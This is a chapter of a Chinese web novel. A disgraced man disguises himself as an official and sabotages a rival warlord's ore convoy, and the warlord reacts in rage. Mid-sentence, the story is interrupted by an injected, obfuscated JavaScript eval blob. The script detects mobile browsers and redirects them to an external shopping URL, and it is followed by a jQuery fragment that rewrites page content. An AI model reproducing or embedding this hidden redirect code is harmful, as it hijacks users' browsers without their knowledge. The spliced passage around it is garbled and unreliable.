接下来的几日，照无还如同一个没有灵魂的躯壳般，在自己那方小院里“活”了过来。他不再呆坐，而是反复研读、背诵、乃至焚烧那份关于“黑玉坑”运输路线的密报，哪一个时间节点和哪一处隘口守卫的换班间隙，甚至运输头目的性格癖好，都烂熟于心。


    他利用故尘染留下的那个唯一一次联络暗桩的机会，没有索取武器或帮手，只是要了两样不起眼的东西。


    一小包特制的玩意，这个玩意遇热才会缓慢释放效力的迷香粉，以及几张盖着模糊旧印，足以以假乱真的矿监司例行巡检空白文书票引。暗桩那头的人似乎有些意外，但依旧沉默而高效地办妥了。


    第七日深夜，子时刚过。


    玉光城西六十里，崎岖山道。


    一支约三十人的车队正趁着夜色掩护，押送着十几辆满载粗砺原矿的马车，向着丽阳城方向疾行。甚至用了车轮包着厚草，马蹄裹着布，尽可能减少声响。


    为首的是冬自岁麾下心腹之一，绰号“秃驴”的霍海，此人悍勇贪婪，但对冬自岁极为忠心。


    队伍行至一处名曰鹰嘴涧的险要地段，两侧山崖陡峭，道路仅容两车并行。按照情报，此处前后哨卡换班有一刻钟的间隙。


    就在车队即将完全进入涧口时，前方道旁突然闪出两个穿着低级官吏服色，举着昏黄气死风灯的人，拦在了路中间。


    “站住！矿监司夜巡！前方车队，停下查验！”


    一人操着带着玉光城口音的官话，厉声喝道，虽努力挺直腰板，声音却有些发虚。


    霍海勒住马，眯起眼打量着这两个不速之客。


    灯光昏暗，看不清具体面貌，只觉身形单薄。


    他心中起疑，这深更半夜，荒山野岭，哪来的矿监司巡查？但对方手中的灯，身上的服饰，尤其是那枚在灯光下晃过的看似制式的腰牌，又让他有些拿不准。冬自岁虽然势大，但明面上对官府还是维持着几分客气，尤其是涉及矿产运输这种敏感事。


    “两位大人，”霍海驱马上前几步，皮笑肉不笑，“深夜辛苦。我等是丽阳城冬城主府上的采办，运送一批石料回去修缮府邸，这是通关文书。”


    他示意手下递上一份盖有冬自岁私印的文书。


    那“官吏”接过，就着灯光装模作样地看了看，语气也稍缓，摆摆手道：“哦，是冬城主的人。不过规矩就是规矩，夜行重车，又是这等险地，我等既撞见了，总要看看货，登记一下，也好向上头交代。”说着，就要往车队后面走。


    霍海眼神一冷，正要示意手下阻拦，另一名“官吏”却忽然凑近他，压低声音，飞快地说了一句：“霍爷，小的们也是奉命行事，混口饭吃。知道您是冬城主的心腹，绝不会为难。这样，您让兄弟们把车靠边停一停，容我们粗略看一眼，走个过场，绝不动您一块石头。这深山夜寒，我们怀里可还揣着壶好酒，待会儿查验完了，请霍爷和几位头儿暖暖身子，也算交个朋友？”


    这话说得圆滑，既给了对方面子，又暗示了“好处”。


    霍海瞥了一眼那“官吏”鼓囊囊的怀中，鼻尖似乎还真闻到一丝淡淡的酒气，再看他二人那副畏缩又透着点谄媚的模样，疑心去了大半。想来是矿监司里不得志想捞点外快的小吏。


    “哼，算你们识相。”霍海挥了挥手，“动作快点！老子还要赶路！”


    车队缓缓靠边停下，两名“官吏”提着灯，沿着车队粗略查看，嘴里念念有词，仿佛在登记。走到中间几辆覆盖得格外严实的马车旁时，其中一人佯装被石头绊了一下，惊呼一声，灯差点脱手，人朝车辕撞去。


    就在这混乱的瞬间，他袖中藏着的那小包特制迷香粉，借着袖袍和夜色的掩护，指尖微弹，准确地将少量粉末弹入了车轮轴承与车板不易察觉的几处缝隙中。


    那迷香粉需得剧烈摩擦生热才会缓慢挥发，此刻毫无异状。


    匆匆“查验”完毕，两名“官吏”点头哈腰地退开，果真从怀里掏出一个小酒壶，殷勤地递给霍海和旁边几个小头目。


    “一点心意，一点心意。”


    霍海不耐烦地摆摆手，示意手下收起，催促车队快行。


    他并未饮用那酒，心中那点警惕让他只是将酒壶揣入怀中。


    望着车队重新启动，迅速消失在鹰嘴涧另一头的黑暗里，两名“官吏”，或者说，易容改装后的照无还与他用最后一点值钱玉佩买通的一个亡命赌徒，这才缓缓直起身，抹去脸上伪装的尘灰与刻意佝偻的姿态。


    照无还的脸色在褪去伪装后，比月光更白，额角全是冷汗，刚才那一绊一弹，几乎耗尽了他恢复不多的力气和全部勇气。


    他的手在袖中微微颤抖，他身体近乎虚脱，却很喜欢这种夹杂着病态兴奋的感觉。


    他做到了。


    虽然只是第一步，虽然微不足道，虽然风险极大……但他不再是那个只能瘫在破庙等死，只会做着虚妄梦境的废物了。


    “走。”他低哑地对那赌徒说。


    两人迅速隐入道旁山林，朝着与车队相反的方向遁去。


    他并不知道，就在鹰嘴涧上方一处极隐蔽的岩石后，一道暗红的身影，将下方发生的一切尽收眼底。


    陆栖枳奉故尘染之命“留意”照无还的动向。


    本只是例行监视。她没想到，会看到这样一幕。


    那个在破庙里苍白脆弱、言语痴妄、被皇后骂得几乎魂飞魄散的男子，竟真的挣扎着爬了起来，用如此精细而冒险的方式，踏出了复仇的第一步。他没有选择硬拼，也没有哭诉求助，是用了对了脑子，用了对玉光城规则和人心贪婪的了解，用了那点微薄得几乎可笑的资源。


    伪装，谎言，精准的时机把握，对头目心理的揣摩，以及……那巧妙掩藏的暗手。每一步都踩在刀尖上，可，偏偏被他走成了。


    陆栖枳静静地看着那消瘦的身影消失在林间，按在剑柄上的手缓缓松开。她眼中惯常的冷冽审视，微微松动，泛起一丝丝波澜。


    也许……皇后说的没错。


    这枚“废棋”，或许，真的还能磨出一点不一样的锋芒。只是这锋芒，浸满了恨意与孤注一掷的疯狂，最终会指向何方呢？


    她抬起头，望向车队消失的方向，不紧不慢地拍拍衣袖。


    那掺入车轮的粉末，此刻应当随着高速行进的摩擦，开始悄然挥发热意了吧？算算路程和速度，距离下一处适合埋伏的险地还有大半个时辰。


    好戏，或许才刚刚开场。而那布局之人，正在皇家别院之中，冷静地等待着第一个回音。


    落魂坡的乱子，在天亮前最黑暗的时刻，传回了玉光城。


    消息并非来自冬自岁自己的人，而是附近山村早起的樵夫，那会，被冲下坡道的马车残骸和隐约的血腥味惊动，报到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17072927|177674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里正那里，一层层才传到官府，或者说，传到如今已被故尘染暗中掌控的城主府新主事手中。


    待到消息辗转到岁安府时，天色已是大亮。


    “混账！”


    镇纸被狠狠掼在地上，应声碎裂，破碎的玉屑擦过跪地禀报的邢厉脸颊，留下一道细小的血痕。


    邢厉伏得更低，不敢言语。


    冬自岁只披着一件墨绿色丝质寝衣，衣带未系，露出大片精悍胸膛，他赤足踩在地板上来回踱了几步。


    “霍海呢？那些货呢？”他咬牙切齿地问。


    “霍统领……重伤，昏迷不醒，是被早起路过的行商发现的，同行的二十七名护卫，死九人，重伤十一人，余者皆带伤。马车……翻覆了六辆，其中三辆装着黑玉的……矿石滚落山涧，损毁严重，难以回收。其余车辆也有不同程度损坏。”


    邢厉的声音干涩，每说一句，都感觉头顶的目光又冷厉一分。


    “怎么翻的！”冬自岁猛地转身，“落魂坡那条路走了不下百趟！那霍海是吃干饭的？！”


    “据、据幸存者说，行至坡中最险处，拉车驮马突然毫无征兆地发狂，力大无穷，挣脱了缰绳，互相冲撞踩踏……紧接着，车轴断裂，像是……像是被什么东西同时腐蚀了关节，好几辆车就……就那样翻了。当时一片混乱，又有冷箭从两侧山坡射来，箭上涂了麻药，弟兄们反应不及……”


    “冷箭？麻药？”冬自岁眼睛眯成一条危险的细缝，冷喝道，“查！给老子彻查！是什么人干的？！是赵家？李家？还是……王家那帮吃里扒外的老东西？！”


    “属下已派人去查，但现场被人群混乱破坏得很厉害，箭矢是市面上最普通的制式，追查不易。至于马匹发狂和车轴断裂……”邢厉迟疑了一下，犹犹豫豫，继续说道，“有弟兄回忆，昨夜在鹰嘴涧曾遇到矿监司巡查，耽搁了片刻，但当时并未异常。事后想想……”


    “矿监司？”冬自岁像是听到了什么极其荒谬的事情，不可置信地一笑道，“什么时候矿监司的狗，敢半夜跑到鹰嘴涧去巡查？还偏偏是老子的车队经过的时候？嗯？！”


    他猛地俯身，一把揪住邢厉的前襟，几乎将他提离地面，妖魅的脸上满是狰狞。


    “去查！把矿监司从上到下给老子翻个底朝天！看看是哪个不长眼的，敢在太岁头上动土！还有，昨夜那两个巡查，掘地三尺也要给我找出来！活要见人，死要见尸！”


    “是！是！”邢厉连声应道。


    冬自岁松开手，任由邢厉跌坐在地，自己则烦躁地在华丽却压抑的厅堂内踱步。


    清晨的阳光透过五彩琉璃窗格投进来，在他身上切割出明暗交错的光影，让他此刻的神色看起来更加变幻不定，如同潜伏在光影交界处的毒蛇。


    不是赵李王三家。那三家虽然内斗得厉害，但还没这个胆子，也没这份精细的手段同时算计马匹，车轴和人心。


    矿监司？


    那群尸位素餐的蠹虫，谁给他们这么大的胆子？除非……背后有人。


    一个名字，如同阴冷的毒蛇，缓缓滑入他的脑海。


    照无还。


    那个废物？他有这个本事？还是说……他找到了新的靠山？皇家别院那位？


    冬自岁的脚步蓦然停住。


    皇后……


    陆栖枳……


    他舔了舔后槽牙。